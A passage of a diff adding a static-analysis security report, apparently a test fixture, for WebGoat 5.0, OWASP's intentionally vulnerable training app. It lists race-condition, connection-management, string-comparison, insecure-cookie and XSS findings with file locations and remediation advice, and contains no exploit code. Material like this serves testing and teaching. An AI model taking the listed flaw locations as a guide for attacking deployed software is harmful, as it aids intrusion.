+        categoryid=\"13\" categoryname=\"Race Conditions\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Race conditions are the most well-known timing flaw and are related
+        to improper handling of a resource that can be accessed by multiple processes.
+        \ Race conditions exploit the small window of time between when a security
+        control is applied and when the service is used.  Vulnerabilities occur when
+        there is a discrepancy between the programmer's assumption of how a program
+        executes and what happens in reality. \"/>\n<para text=\"Attackers often exploit
+        race conditions to gain unauthorized access to system resources.  A common
+        scenario is a time-of-check time-of-use race condition, which takes advantage
+        of a timing gap between the time the authorization check is performed and
+        the time the resource is actually used. \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Review the code carefully for any pair of operations that might fail
+        if arbitrary code is executed between them. Often, developers assume that
+        a series of actions represent an atomic operation when in fact they do not.
+        These non-atomic conditions commonly involve the filesystem and/or temporary
+        files.\"/>\n<para text=\"Pay close attention to asynchronous actions in processes
+        and make copious use of sanity checks in systems that may be subject to synchronization
+        errors.\"/>\n</recommendations>\n<cwe cweid=\"366\" cwename=\"Race Condition
+        within a Thread\" pcirelated=\"false\" certc=\"748\" certcpp=\"882\" certjava=\"852\">\n<description>\n<text
+        text=\"If two threads of execution use a resource simultaneously, there exists
+        the possibility that resources may be used while invalid, in turn making the
+        state of execution undefined.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"3\"
+        categoryname=\"Race Condition within a Thread\" count=\"1\" issueid=\"47\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"span.set\" description=\"There
+        are total of 12 instances. A shared variable 'mySession' is used here without
+        a locking mechanism such as a synchronized block. If two threads of execution
+        reference a shared variable simultaneously, the variable may be invalid or
+        in an unexpected state.\r\n\r\nUse locking functionality around code that
+        alters or reads persistent data in a multi-threaded environment.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/366.html)\r\n\r\n\" note=\"\"
+        cweid=\"366\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"13\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"npp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"HammerHead.java\"
+        line=\"135\" sourcefilepath=\"org/owasp/webgoat/\" scope=\"org.owasp.webgoat.HammerHead\"
+        functionprototype=\"void doPost(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)\"
+        functionrelativelocation=\"3\"/>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"2\">\n<category categoryid=\"7\" categoryname=\"API Abuse\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"An API is a contract between a caller and a callee. Incorrect usage
+        of certain API functions can result in exploitable security vulnerabilities.\"/>\n<para
+        text=\"The most common forms of API abuse are caused by the caller failing
+        to honor its end of this contract.  For example, if a program fails to call
+        chdir() after calling chroot(), it violates the contract that specifies how
+        to change the active root directory in a secure fashion.  Providing too few
+        arguments to a varargs function such as printf() also violates the API contract
+        and will cause the missing parameters to be populated with unexpected data
+        from the stack.\"/>\n<para text=\"Another common mishap is when the caller
+        makes false assumptions about the callee's behavior.  One example of this
+        is when a caller expects a DNS-related function to return trustworthy information
+        that can be used for authentication purposes.  This is a bad assumption because
+        DNS responses can be easily spoofed.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"When calling API functions, be sure to fully understand and adhere
+        to the specifications to avoid introducing security vulnerabilities.  Do not
+        make assumptions about trustworthiness of the data returned from API calls
+        or use the data in a context that was unintended by that API.\"/>\n</recommendations>\n<cwe
+        cweid=\"245\" cwename=\"J2EE Bad Practices: Direct Management of Connections\"
+        pcirelated=\"false\">\n<description>\n<text text=\"The J2EE application directly
+        manages connections rather than using the container's resource management
+        facilities to obtain connections as specified in the J2EE standard.  Every
+        major web application container provides pooled database connection management
+        as part of its resource management framework. Duplicating this functionality
+        in an application is difficult and error prone, which is part of the reason
+        it is forbidden under the J2EE standard.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"202\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"69\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"16\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"114\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"68\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(WebSession)\" functionrelativelocation=\"93\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"41\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"78\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(java.lang.String, java.lang.String)\"
+        functionrelativelocation=\"90\"/>\n<flaw severity=\"2\" categoryname=\"J2EE
+        Bad Practices: Direct Management of Connections\" count=\"1\" issueid=\"26\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"97\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"72\"/>\n<flaw
+        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
+        count=\"1\" issueid=\"253\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"This call to getConnection() fails to use the J2EE container's
+        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
+        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
+        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"105\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"93\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"17\" categoryname=\"Code Quality\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Code quality issues stem from failure to follow good coding practices
+        and can lead to unpredictable behavior. These may include but are not limited
+        to:\">\n<bulletitem text=\"Neglecting to remove debug code or dead code\"/>\n<bulletitem
+        text=\"Improper resource management, such as using a pointer after it has
+        been freed\"/>\n<bulletitem text=\"Using the incorrect operator to compare
+        objects\"/>\n<bulletitem text=\"Failing to follow an API or framework specification\"/>\n<bulletitem
+        text=\"Using a language feature or API in an unintended manner\"/>\n</para>\n<para
+        text=\"While code quality flaws are generally less severe than other categories
+        and usually are not directly exploitable, they may serve as indicators that
+        developers are not following practices that increase the reliability and security
+        of an application.  For an attacker, code quality issues may provide an opportunity
+        to stress the application in unexpected ways.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"The wide variance of code quality issues makes it impractical to generalize
+        how these issues should be addressed.  Refer to individual categories for
+        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"597\" cwename=\"Use
+        of Wrong Operator in String Comparison\" pcirelated=\"false\" certjava=\"847\">\n<description>\n<text
+        text=\"Using '==' to compare two strings for equality or '!=' for inequality
+        actually compares the object references rather than their values.  It is unlikely
+        that this reflects the intended application logic.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
+        count=\"1\" issueid=\"176\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
+        description=\"Using '==' to compare two strings for equality actually compares
+        the object references rather than their values. It is unlikely that this reflects
+        the intended application logic.\r\n\r\nUse the equals() method to compare
+        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
+        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakAuthenticationCookie.java\"
+        line=\"142\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakAuthenticationCookie\"
+        functionprototype=\"java.lang.String checkParams(session.WebSession)\" functionrelativelocation=\"70\"/>\n<flaw
+        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
+        count=\"1\" issueid=\"203\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
+        description=\"Using '==' to compare two strings for equality actually compares
+        the object references rather than their values. It is unlikely that this reflects
+        the intended application logic.\r\n\r\nUse the equals() method to compare
+        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
+        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"280\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"85\"/>\n<flaw severity=\"2\" categoryname=\"Use
+        of Wrong Operator in String Comparison\" count=\"1\" issueid=\"248\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"span.neq\" description=\"Using '==' to compare two strings for equality
+        actually compares the object references rather than their values. It is unlikely
+        that this reflects the intended application logic.\r\n\r\nUse the equals()
+        method to compare strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\" note=\"\" cweid=\"597\"
+        remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"282\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"86\"/>\n<flaw severity=\"2\" categoryname=\"Use
+        of Wrong Operator in String Comparison\" count=\"1\" issueid=\"164\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"span.neq\" description=\"Using '==' to compare two strings for equality
+        actually compares the object references rather than their values. It is unlikely
+        that this reflects the intended application logic.\r\n\r\nUse the equals()
+        method to compare strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE
+        (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\" note=\"\" cweid=\"597\"
+        remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"XMLInjection.java\"
+        line=\"292\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.XMLInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"93\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"12\" categoryname=\"Cryptographic Issues\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Applications commonly use cryptography to implement authentication
+        mechanisms and to ensure the confidentiality and integrity of sensitive data,
+        both in transit and at rest.  The proper and accurate implementation of cryptography
+        is extremely critical to its efficacy.  Configuration or coding mistakes as
+        well as incorrect assumptions may negate a large degree of the protection
+        it affords, leaving the crypto implementation vulnerable to attack.\"/>\n<para
+        text=\"Common cryptographic mistakes include, but are not limited to, selecting
+        weak keys or weak cipher modes, unintentionally exposing sensitive cryptographic
+        data, using predictable entropy sources, and mismanaging or hard-coding keys.
+        \ \"/>\n<para text=\"Developers often make the dangerous assumption that they
+        can improve security by designing their own cryptographic algorithm; however,
+        one of the basic tenets of cryptography is that any cipher whose effectiveness
+        is reliant on the secrecy of the algorithm is fundamentally flawed.  \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Select the appropriate type of cryptography for the intended purpose.
+        \ Avoid proprietary encryption algorithms as they typically rely on &quot;security
+        through obscurity&quot; rather than sound mathematics.  Select key sizes appropriate
+        for the data being protected; for high assurance applications, 256-bit symmetric
+        keys and 2048-bit asymmetric keys are sufficient.  Follow best practices for
+        key storage, and ensure that plaintext data and key material are not inadvertently
+        exposed.\"/>\n</recommendations>\n<cwe cweid=\"614\" cwename=\"Sensitive Cookie
+        in HTTPS Session Without 'Secure' Attribute\" pcirelated=\"false\" owasp=\"934\"
+        sans=\"311\">\n<description>\n<text text=\"Setting the Secure attribute on
+        an HTTP cookie instructs the web browser to send it only over a secure channel,
+        such as an SSL connection.  Issuing a cookie without the Secure attribute
+        allows the browser to transmit it over unencrypted connections, which are
+        susceptible to eavesdropping.  It is particularly important to set the Secure
+        attribute on any cookies containing sensitive data, such as authentication
+        information (e.g. &quot;remember me&quot; style functionality).\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"158\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"172\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage1(session.WebSession)\" functionrelativelocation=\"94\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"154\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"193\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage2(session.WebSession)\" functionrelativelocation=\"3\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"159\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakAuthenticationCookie.java\"
+        line=\"146\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakAuthenticationCookie\"
+        functionprototype=\"java.lang.String checkParams(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"19\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakSessionID.java\"
+        line=\"209\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakSessionID\"
+        functionprototype=\"apache.ecs.Element makeLogin(session.WebSession)\" functionrelativelocation=\"8\"/>\n<flaw
+        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
+        Attribute\" count=\"1\" issueid=\"52\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
+        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
+        the HTTP response that does not have the Secure attribute set. Failing to
+        set this attribute allows the browser to send the cookie unencrypted over
+        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
+        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
+        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
+        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"pnn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WebSession.java\"
+        line=\"335\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.WebSession\"
+        functionprototype=\"void eatCookies()\" functionrelativelocation=\"79\"/>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<severity
+        level=\"1\"/>\n<severity level=\"0\">\n<category categoryid=\"20\" categoryname=\"Cross-Site
+        Scripting\" pcirelated=\"false\">\n<desc>\n<para text=\"Cross-site scripting
+        (XSS) attacks occur when an attacker uses a web application to send malicious
+        code, generally in the form of a browser side script, to a different end user.
+        Flaws that allow these attacks to succeed occur whenever a web application
+        uses untrusted data in the output it generates without validating or encoding
+        it.  XSS vulnerabilities are commonly exploited to steal or manipulate cookies,
+        modify presentation of content, and compromise sensitive information, with
+        new attack vectors being discovered on a regular basis.  XSS is also commonly
+        referred to as HTML injection.\"/>\n<para text=\"XSS vulnerabilities can be
+        either persistent or transient (often referred to as stored and reflected,
+        respectively).  In a persistent XSS vulnerability, the injected code is stored
+        by the application, for example within a blog comment or message board.  The
+        attack occurs whenever a victim views the page containing the malicious script.
+        \ In a transient XSS vulnerability, the injected code is included directly
+        in the HTTP request.  These attacks are often carried out via malicious URLs
+        sent via email or another website and requires the victim to browse to that
+        link.  The consequence of an XSS attack to a victim is the same regardless
+        of whether it is persistent or transient; however, persistent XSS vulnerabilities
+        are likely to affect a greater number of victims due to its delivery mechanism.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Several techniques can be used to prevent XSS attacks. These techniques
+        complement each other and address security at different points in the application.
+        Using multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a XSS vulnerability.\">\n<bulletitem text=\"Use output filtering to sanitize
+        all output generated from user-supplied input, selecting the appropriate method
+        of encoding based on the use case of the untrusted data.  For example, if
+        the data is being written to the body of an HTML page, use HTML entity encoding.
+        \ However, if the data is being used to construct generated Javascript or
+        if it is consumed by client-side methods that may interpret it as code (a
+        common technique in Web 2.0 applications), additional restrictions may be
+        necessary beyond simple HTML encoding.\"/>\n<bulletitem text=\"Validate user-supplied
+        input using positive filters (white lists) to ensure that it conforms to the
+        expected format, using centralized data validation routines when possible.
+        \"/>\n<bulletitem text=\"Do not permit users to include HTML content in posts,
+        notes, or other data that will be displayed by the application.  If users
+        are permitted to include HTML tags, then carefully limit access to specific
+        elements or attributes, and use strict validation filters to prevent abuse.\"/>\n</para>\n</recommendations>\n<cwe
+        cweid=\"80\" cwename=\"Improper Neutralization of Script-Related HTML Tags
+        in a Web Page (Basic XSS)\" pcirelated=\"false\" owasp=\"931\" sans=\"79\">\n<description>\n<text
+        text=\"This call contains a cross-site scripting (XSS) flaw.  The application
+        populates the HTTP response with user-supplied input, allowing an attacker
+        to embed malicious content, such as Javascript code, which will be executed
+        in the context of the victim's browser.  XSS vulnerabilities are commonly
+        exploited to steal or manipulate cookies, modify presentation of content,
+        and compromise confidential information, with new attack vectors being discovered
+        on a regular basis.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"0\"
+        categoryname=\"Improper Neutralization of Script-Related HTML Tags in a Web
+        Page (Basic XSS)\" count=\"1\" issueid=\"184\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile.jsp\"
+        line=\"89\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
